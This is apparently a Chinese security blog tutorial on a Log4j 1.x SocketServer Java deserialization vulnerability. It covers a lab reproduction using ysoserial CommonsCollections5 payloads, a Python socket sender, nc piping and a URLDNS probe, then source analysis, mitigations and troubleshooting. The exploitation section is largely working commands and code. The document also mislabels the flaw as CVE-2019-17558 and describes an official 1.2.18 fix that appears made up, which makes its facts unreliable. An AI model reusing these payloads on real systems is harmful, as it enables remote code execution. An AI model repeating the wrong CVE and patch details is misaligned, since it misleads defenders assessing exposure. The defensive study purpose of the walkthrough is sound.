从CVE-2019-17558剖析Java反序列化漏洞:Log4j 1.x源码审计与实战复现
1. 项目概述:从一次真实的应急响应说起
去年处理一个客户的安全事件,攻击者利用一个我们当时不太熟悉的组件漏洞,在内网横向移动,最终导致数据泄露。事后溯源,发现漏洞利用链的起点正是CVE-2019-17558。这个漏洞本身并不复杂,但它的存在位置——一个广泛使用的开源日志组件——让它极具隐蔽性和危害性。从那以后,我养成了一个习惯:对于每一个被公开披露的CVE,尤其是涉及基础组件的,不仅要看漏洞公告,更要亲手去扒一扒源码,在可控的环境里复现一遍。这不仅仅是完成一个“作业”,而是真正理解攻击者视角、评估实际风险、并锤炼自己漏洞挖掘与分析能力的必经之路。今天要聊的CVE-2019-17558,就是一个非常经典的案例,它涉及Apache Log4j 1.x版本中的一个反序列化漏洞。虽然Log4j 2.x的“Log4Shell”(CVE-2021-44228)名声更大,但这个1.x时代的漏洞原理清晰,影响直接,是学习Java反序列化漏洞和源码审计的绝佳材料。无论你是刚入门的安全研究员、负责系统加固的运维工程师,还是对底层原理感兴趣的开发者,跟着我一起走完这个“从源码到攻击”的全过程,你收获的将不仅仅是对一个CVE的了解,更是一套可复用的分析方法。
2. 漏洞背景与核心原理深度剖析
2.1 为什么是Log4j 1.x?
在深入CVE-2019-17558之前,我们必须先理解它的“舞台”。Apache Log4j 1.x是一个历史悠久、曾经无处不在的Java日志框架。它的设计哲学是高度可配置和可扩展,允许用户通过配置文件(如log4j.properties)来定义日志输出到哪里(Appender)、格式如何(Layout)、以及哪些级别的日志需要被记录。其中,SocketAppender和SocketHubAppender是两个用于网络日志输出的组件。它们的设计初衷是为了实现分布式日志收集,比如将多台应用服务器的日志集中发送到一台日志服务器上。为了实现这个功能,Log4j需要在网络上传输日志事件(LoggingEvent)对象。这里就埋下了第一个隐患:对象序列化传输。
Java对象序列化是把对象状态转换为字节流的过程,以便存储或传输。反序列化则是其逆过程。SocketAppender在发送日志时,会将LoggingEvent对象序列化后通过网络发送;接收端的SocketServer(或另一个配置了对应Appender的Log4j)则需要反序列化这个字节流来重建对象。问题在于,Log4j 1.x中用于反序列化的ObjectInputStream没有施加任何限制。它默认会反序列化字节流中指定的任何类。这就好比邮局收到一个包裹,不看寄件人和物品清单,就直接按照包裹里的说明书开始组装里面的零件。如果说明书(序列化数据)要求邮局去一个恶意网站下载并执行某个程序,邮局也会照做。
2.2 漏洞触发的精确条件与原理
CVE-2019-17558的官方描述指出,在Log4j 1.x版本中,当攻击者能够向使用SocketServer的节点发送恶意的序列化数据时,可以导致不可信数据的反序列化,从而执行任意代码。我们来拆解这句话:
- 攻击面:使用
SocketServer的Log4j 1.x服务端。这通常是一个独立运行的日志服务器,监听某个TCP端口(默认4560),等待SocketAppender发来的日志数据。此外,某些特殊配置的SocketAppender也可能在特定场景下成为服务端(尽管不常见)。 - 攻击路径:网络。攻击者需要能够将TCP数据包发送到目标服务器的Log4j
SocketServer监听端口。 - 攻击载荷:恶意的序列化数据。这不是普通的日志数据,而是一个精心构造的字节流,其中“封装”了一个利用Java反序列化漏洞的“武器化”对象链(Gadget Chain)。
- 漏洞本质:
ObjectInputStream.readObject()的无条件调用。在org.apache.log4j.net.SocketNode#run()方法中,服务器循环读取socket输入流,并直接将其反序列化为LoggingEvent对象:LoggingEvent event = (LoggingEvent) ois.readObject();。这里没有使用ObjectInputStream的resolveClass方法进行白名单校验,也没有使用任何安全的反序列化库(如Apache Commons IO的ValidatingObjectInputStream)。
关键在于,Java反序列化漏洞的利用,往往不直接依赖于目标类(这里是LoggingEvent)本身的代码缺陷,而是依赖于Java类路径(Classpath)中是否存在一系列特殊的、可被串联起来的“小工具类”(Gadgets)。攻击者构造的序列化数据,其根对象可能是一个看似无害的类(如HashMap、PriorityQueue),但这个类的readObject方法在反序列化过程中,会调用其他类的某些方法,经过一连串的调用(如调用TemplatesImpl.getOutputProperties()来触发字节码加载和实例化),最终导致任意代码执行。Log4j 1.x的类路径中如果包含了诸如commons-collections(3.1, 3.2.1等旧版本)、groovy、spring-aop等包含危险Gadget的库,那么这个漏洞就会被成功触发。
注意:很多初学者会混淆,认为漏洞在
LoggingEvent类里。实际上,LoggingEvent只是反序列化过程试图转换成的目标类型。真正的漏洞是反序列化过程本身不受控。即使类型转换失败(ClassCastException),恶意代码也可能在转换发生之前就已经被执行了。
2.3 与Log4Shell (CVE-2021-44228) 的本质区别
这里必须做一个清晰的区分,因为两者都叫Log4j漏洞,但原理天差地别:
- CVE-2019-17558 (本次分析的):反序列化漏洞。利用的是Java对象序列化/反序列化机制的安全缺陷。需要攻击者能够向特定的网络端口(如4560)发送原始的、恶意的序列化字节流。影响范围主要是明确配置并启用了
SocketServer的Log4j 1.x应用。 - CVE-2021-44228 (Log4Shell):日志信息注入漏洞。利用的是Log4j 2.x在解析日志消息时,会对
${}包裹的表达式进行递归解析(Lookup),其中包含jndi:协议,可导致远程加载并执行恶意Java代码。攻击者只需让应用记录一条包含恶意JNDI地址的日志(如User-Agent、请求参数),即可触发。攻击门槛和影响面要广得多。
简单说,17558是“特快专递漏洞”(需要发送特定格式包裹到特定地址),Log4Shell是“广播漏洞”(对着大街喊一嗓子,所有开着窗户的都可能中招)。
3. 环境搭建与漏洞复现实操
理论讲透了,我们动手搭建环境,亲身体验一下漏洞的复现过程。只有亲手触发过,你对漏洞的理解才会从“知道”变成“懂得”。
3.1 实验环境准备
我推荐在虚拟机中操作,使用Kali Linux或任意你熟悉的Linux发行版。
- Java环境:安装JDK 8。Log4j 1.x对高版本JDK兼容性可能有问题,且很多利用工具基于JDK 8构建。
sudo apt update sudo apt install openjdk-8-jdk java -version # 确认版本为1.8.x - 下载有漏洞的Log4j 1.x:我们需要一个包含
SocketServer类的版本。这里使用log4j-1.2.17。
解压后,关键的jar包在wget https://archive.apache.org/dist/logging/log4j/1.2.17/log4j-1.2.17.tar.gz tar -xzf log4j-1.2.17.tar.gzapache-log4j-1.2.17/log4j-1.2.17.jar。 - 准备Gadget依赖库:为了成功利用,我们需要在目标类路径下放置包含Gadget的库。最经典的是
commons-collections-3.2.1。我们还需要一个用于最终执行命令的通用库,这里使用commons-io-2.6来辅助构造Payload(实际利用链可能不需要,但常用工具会用到)。wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar wget https://repo1.maven.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.jar - 编写一个简单的漏洞服务器:我们不需要一个完整的应用,只需一个能启动Log4j
SocketServer的Java类。 创建文件VulnServer.java:
编译并运行,需要指定classpath:import org.apache.log4j.net.SocketServer; public class VulnServer { public static void main(String[] args) throws Exception { // 第一个参数是端口号,第二个参数是log4j配置文件(这里用不到,可以给个不存在的路径) // 实际上SocketServer的main方法会读取配置文件,但我们简单演示,直接调用其run方法。 // 更简单的方式是直接运行Log4j jar包里自带的SocketServer类。 System.out.println("[*] Starting vulnerable Log4j 1.2.17 SocketServer on port 4560..."); // 这里我们直接调用SocketServer.main,模拟最常见的启动方式。 SocketServer.main(new String[]{"4560", "/tmp/not_used.properties"}); } }
如果看到输出显示服务器在端口4560启动,说明环境准备成功。注意:由于我们还没有提供有效的log4j配置文件,服务器可能会报一些配置错误,但它依然会启动并监听端口,这对于漏洞复现来说足够了。javac -cp “apache-log4j-1.2.17/log4j-1.2.17.jar” VulnServer.java java -cp “.:apache-log4j-1.2.17/log4j-1.2.17.jar” VulnServer
3.2 使用现成工具生成攻击载荷
手动构造反序列化利用链极其复杂,我们借助安全社区成熟的工具。ysoserial是一个经典的Java反序列化利用框架,它集成了多种Gadget链。
- 获取ysoserial:
编译成功后,在git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests # 需要Maven环境target/目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar。 - 生成Payload:我们需要针对
commons-collections 3.2.1这个Gadget库来生成Payload。假设我们想让目标服务器执行命令touch /tmp/pwned_success。
这条命令的意思是,使用java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 “touch /tmp/pwned_success” > payload.binCommonsCollections5这条利用链(它适用于commons-collections 3.2.1),将待执行的命令作为参数,生成序列化后的字节流,并保存到payload.bin文件中。CommonsCollections5是其中一条稳定且常用的链。 - 发送Payload:现在我们将这个恶意字节流发送到我们刚刚启动的漏洞服务器(127.0.0.1:4560)。可以使用简单的Python脚本或
nc命令。使用nc(netcat):
使用Python3脚本cat payload.bin | nc -nv 127.0.0.1 4560exploit.py(更可控):
运行:import socket import sys def exploit(host, port, payload_file): with open(payload_file, ‘rb’) as f: payload = f.read() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.connect((host, port)) print(f“[+] Connected to {host}:{port}“) s.sendall(payload) print(”[+] Payload sent.“) # 可以尝试接收一点回复,不过SocketServer可能不会回复 # response = s.recv(1024) # print(f”Response: {response}“) except Exception as e: print(f”[-] Error: {e}“) finally: s.close() if __name__ == “__main__“: if len(sys.argv) != 4: print(f”Usage: {sys.argv[0]} <host> <port> <payload_file>“) sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])python3 exploit.py 127.0.0.1 4560 payload.bin
3.3 复现结果验证
发送Payload后,观察运行VulnServer的终端。你可能会看到一些异常堆栈信息(如ClassCastException,因为服务器期望收到LoggingEvent但收到了PriorityQueue等),这很正常,甚至是我们期望看到的,因为它说明反序列化过程被执行了。
现在,检查命令是否执行成功:
ls -la /tmp/pwned_success如果文件被成功创建,那么恭喜你,CVE-2019-17558漏洞复现成功!这证明恶意的序列化数据在目标服务器的JVM中被成功反序列化,并沿着CommonsCollections5这条Gadget链执行了我们指定的系统命令。
实操心得:第一次复现时,最容易卡住的地方是
ClassCastException。很多人看到这个异常就认为利用失败了。其实不然。反序列化漏洞的执行点通常在readObject()方法中,在对象被完整反序列化出来、并尝试进行类型转换((LoggingEvent))之前,恶意代码就已经被执行了。ClassCastException是类型转换失败抛出的,它发生在“坏事”干完之后。所以,判断利用是否成功,核心是看攻击效果(如命令是否执行、网络连接是否发起等),而不是看服务端是否报错。
4. 关键源码逐行解析与漏洞定位
复现成功了,但我们不能只做“脚本小子”。我们必须回到源码,看清漏洞到底长什么样。我们下载Log4j 1.2.17的源码包,或者直接查看jar包中的.class文件反编译结果。这里我以源码为例。
4.1 SocketServer的启动与监听
关键类:org.apache.log4j.net.SocketServer。查看其main方法,它会解析端口和配置文件,然后创建一个ServerSocket在指定端口监听。当有新连接接入时,会为每个连接创建一个新的SocketNode线程来处理。
4.2 漏洞核心:SocketNode.run()
这是真正的重灾区。我们找到org.apache.log4j.net.SocketNode类,查看其run方法(部分关键代码):
public void run() { LoggingEvent event; ObjectInputStream ois = null; try { ois = new ObjectInputStream(socket.getInputStream()); // 【危险点1】直接创建ObjectInputStream if (ois != null) { while (true) { // 【危险点2】直接调用readObject,没有过滤或校验 event = (LoggingEvent) ois.readObject(); // ... 后续处理event的代码 ... } } } catch (EOFException e) { // 连接正常关闭 } catch (SocketException e) { // 网络异常 } catch (IOException e) { // IO异常 } catch (ClassNotFoundException e) { // 类找不到 } catch (OptionalDataException e) { // 数据异常 } finally { // ... 清理资源 ... } }漏洞代码分析:
new ObjectInputStream(socket.getInputStream()):这里直接基于网络输入流创建了一个ObjectInputStream对象。这是所有Java反序列化操作的起点。event = (LoggingEvent) ois.readObject():这是最致命的一行。readObject()方法会忠实地根据字节流中的类描述符,去尝试加载对应的类并实例化对象。在这个过程中,该类的readObject、readResolve等方法会被自动调用。如果字节流中描述的是一个精心构造的PriorityQueue(CommonsCollections5链的起点),那么PriorityQueue.readObject()就会被执行,进而触发后续一连串的调用,最终达成命令执行。- 没有任何防御:整个过程中,没有看到对反序列化类的白名单检查(通过重写
ObjectInputStream.resolveClass),也没有使用任何安全的反序列化过滤器(如ObjectInputFilter,这是Java 9+的特性,Log4j 1.x时代没有)。
4.3 官方修复方案分析
Apache官方在后续版本(如1.2.18及以后)中修复了此漏洞。修复方式非常直观:在反序列化前,对类名进行校验。
我们查看修复后的SocketNode类(以1.2.18为例),会发现多了一个内部类LoggingEventObjectInputStream,它继承自ObjectInputStream,并重写了resolveClass方法:
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); // 只允许反序列化LoggingEvent类 if (!className.equals(“org.apache.log4j.spi.LoggingEvent”)) { throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); }然后在run方法中,将ObjectInputStream ois = new ObjectInputStream(...)替换为ObjectInputStream ois = new LoggingEventObjectInputStream(...)。
这样,当攻击者发送的序列化数据中描述的类是PriorityQueue、TemplatesImpl或其他任何非LoggingEvent的类时,在resolveClass阶段就会被直接拒绝,抛出InvalidClassException,readObject()根本不会执行到那些危险类的逻辑,从而从根本上堵住了漏洞。
源码审计技巧:在审计Java网络应用时,看到
ObjectInputStream搭配网络流(Socket.getInputStream(),ServerSocket.accept()),就要立刻亮起红灯。紧接着必须检查是否重写了resolveClass方法进行白名单校验,或者是否使用了安全的替代方案(如JSON、Protocol Buffers等序列化格式)。这是Java反序列化漏洞的经典模式。
5. 漏洞挖掘思路与拓展思考
复现和分析一个已知CVE是学习,但如何自己发现这类漏洞呢?这需要一套方法。
5.1 主动挖掘:从哪里入手?
- 目标选取:关注那些使用Java序列化进行网络通信或数据存储的组件。除了日志框架,还有RMI服务、JMX接口、自定义的TCP协议、以及某些缓存系统(如旧版Redis的Java客户端某些用法)、文件存储格式等。
- 代码搜索:在源码或jar包中搜索以下关键词:
ObjectInputStreamreadObject()readUnshared()(较少用)ServerSocket/Socket(结合上面两个)RemoteObject、UnicastRemoteObject(RMI相关)
- 动态分析:对于黑盒测试,可以尝试向可疑端口发送一些“探针”。例如,使用
ysoserial生成一个会触发延迟(如URLDNS链,会发起DNS查询)或产生明显错误回显的Payload进行盲打,观察目标服务器的响应时间或错误日志变化。
5.2 漏洞利用的依赖条件
成功利用CVE-2019-17558,需要同时满足以下几个条件,这在风险评估时至关重要:
- 存在漏洞的组件:使用Log4j 1.x,且版本在受影响范围内(<=1.2.17)。
- 启用危险配置:配置中启用了
SocketServer(或可能导致类似行为的配置)。仅仅在项目中引入了Log4j 1.x的jar包,但没有使用网络特性,风险较低。 - 网络可达:攻击者能够访问到
SocketServer监听的端口。这可能存在于内网环境,或者公网服务错误地暴露了日志端口。 - Classpath中存在可利用的Gadget链:这是关键。如果目标应用的依赖库非常干净,没有
commons-collections、groovy、spring-aop等常见危险库,那么即使存在反序列化点,也可能无法直接执行代码(但可能导致DoS或其他影响)。这就是为什么漏洞利用工具如ysoserial会集成那么多条链,就是为了适配不同的依赖环境。
5.3 防御与修复建议
对于防御者来说,面对此类漏洞,可以采取以下措施:
- 升级与替换(治本):
- 首选方案:将Log4j 1.x升级到官方修复版本(1.2.18及以上)。但注意,Log4j 1.x已于2015年停止维护,官方强烈建议迁移到Log4j 2.x。
- 彻底迁移:将日志框架迁移至Log4j 2.x(并注意修复Log4Shell等漏洞)或SLF4J + Logback等现代方案。在迁移时,务必检查配置文件的兼容性。
- 配置加固(缓解):如果暂时无法升级,确保不启用
SocketServer功能。检查log4j.properties或log4j.xml配置文件,移除或注释掉任何与SocketAppender、SocketHubAppender以及SocketServer相关的配置。同时,使用防火墙策略严格限制对日志服务器端口的访问,仅允许可信的日志发送源IP。 - 运行时防护:
- JVM Agent:部署RASP(运行时应用自我保护)产品,它们可以在
ObjectInputStream.readObject()等关键函数调用时进行拦截和检查。 - Java Security Manager:配置严格的安全策略,限制反序列化操作所能加载的类和所能执行的动作。但配置复杂,对性能有影响,通常不是首选。
- JDK高版本特性:如果运行在Java 9及以上,可以考虑使用
ObjectInputFilter(JEP 290)来设置全局或局部的反序列化过滤器。但需要修改应用代码来集成此特性。
- JVM Agent:部署RASP(运行时应用自我保护)产品,它们可以在
- 依赖库管理:定期梳理和清理项目中的依赖,移除不必要的、存在已知高危漏洞的库(如旧版的
commons-collections)。可以使用OWASP Dependency-Check等工具进行扫描。
6. 常见问题与排查技巧实录
在复现和分析过程中,你可能会遇到以下问题,这里我记录下自己的排查经验:
问题1:发送Payload后,服务器端只看到java.lang.ClassCastException: java.util.PriorityQueue cannot be cast to org.apache.log4j.spi.LoggingEvent,但命令没有执行。
- 排查:这通常是因为目标应用的Classpath中缺少对应的Gadget链依赖。
ClassCastException说明反序列化过程完成了(PriorityQueue被成功还原),但在类型转换时失败。命令没执行,意味着PriorityQueue.readObject()内部的利用链没有走通,可能是因为缺少commons-collections库,或者其版本不对(例如是3.2.2版本,而CommonsCollections5链针对3.2.1)。 - 解决:
- 确认依赖。检查运行漏洞服务器的classpath是否包含了
commons-collections-3.2.1.jar。在启动命令中显式添加:java -cp “.:log4j-1.2.17.jar:commons-collections-3.2.1.jar” VulnServer。 - 尝试其他利用链。
ysoserial提供了多条链,比如CommonsCollections1,CommonsCollections2,CommonsCollections3,CommonsCollections4,CommonsCollections6,CommonsCollections7等。不同链对库版本和JDK版本要求不同。可以多试几条:java -jar ysoserial.jar CommonsCollections1 “command” > payload1.bin。 - 使用
URLDNS链进行无回显探测。这条链不执行命令,而是会触发一次DNS查询,可以用来判断反序列化是否被执行,且不依赖commons-collections。java -jar ysoserial.jar URLDNS http://your-dns-log-domain.com。发送Payload后,查看你的DNS日志是否有查询记录。
- 确认依赖。检查运行漏洞服务器的classpath是否包含了
问题2:漏洞服务器启动后,用nc或脚本连接,立即断开,没有任何异常输出。
- 排查:首先确认服务器是否真的在监听端口。使用
netstat -tlnp | grep 4560查看。如果没在监听,可能是启动失败,检查Java版本和类路径。 - 解决:可能是Log4j配置文件问题导致
SocketServer初始化失败。我们编写的简单VulnServer可能因为找不到配置文件而报错退出。一个更稳定的测试方法是直接运行Log4j jar包中的SocketServer主类,并提供一个最小化的配置文件。- 创建
log4j_server.properties:log4j.rootLogger=DEBUG, console log4j.appender.console=org.apache.log4j.ConsoleAppender log4j.appender.console.layout=org.apache.log4j.PatternLayout log4j.appender.console.layout.ConversionPattern=%d{ISO8601} [%t] %-5p %c{2} - %m%n - 启动服务器:
java -cp “log4j-1.2.17.jar:commons-collections-3.2.1.jar” org.apache.log4j.net.SocketServer 4560 log4j_server.properties。这样启动更接近真实场景。
- 创建
问题3:在真实复杂环境中,如何判断一个服务是否受此漏洞影响?
- 黑盒探测:
- 端口扫描:发现开放了4560或其他非常用高端口(Log4j默认4560,但可配置)。
- 协议探测:尝试发送一段序列化数据(比如一个简单的
java.lang.String对象的序列化字节),观察响应。如果服务崩溃、返回特定的Java异常信息(如ClassNotFoundException,ClassCastException中包含LoggingEvent字样),则可能性很大。也可以发送URLDNS链的Payload进行无回显探测。 - 流量分析:如果条件允许,捕获正常客户端与日志服务器之间的流量,分析其载荷是否为Java序列化格式(通常以魔术字
AC ED 00 05开头)。
- 白盒审计:
- 检查项目依赖文件(
pom.xml,build.gradle,lib/目录),确认是否存在log4j:log4j依赖且版本号 <=1.2.17。 - 搜索项目代码和配置文件(
log4j.properties,log4j.xml,*.conf等)中是否包含SocketServer、SocketAppender、SocketHubAppender等关键词。 - 检查应用启动脚本或配置,是否指定了
SocketServer相关的启动参数。
- 检查项目依赖文件(
问题4:修复时升级到Log4j 1.2.18就绝对安全了吗?
不一定。虽然1.2.18修复了SocketServer的反序列化问题,但Log4j 1.x本身已停止维护,可能存在其他未公开或已公开但未修复的问题。例如,它仍然使用java.beans包进行某些操作,这可能引入其他风险。最稳妥的方案仍然是迁移到活跃维护的Log4j 2.x(并应用所有安全补丁)或其他现代日志框架。如果必须使用1.x,除了升级,务必结合网络防火墙和最小权限原则进行纵深防御。
整个分析复现的过程,就像一次完整的安全事件应急演练。从漏洞原理学习、环境搭建、利用复现,到源码定位、修复方案理解,最后到拓展思考和实战排查,每一步都加深了对“反序列化漏洞”这一大类安全问题的认知。下次再遇到类似的CVE,或者在进行代码审计时看到ObjectInputStream,你就能立刻条件反射般地想到它的风险点以及该如何验证和防御了。这才是我们做源码分析和漏洞复现最大的价值。
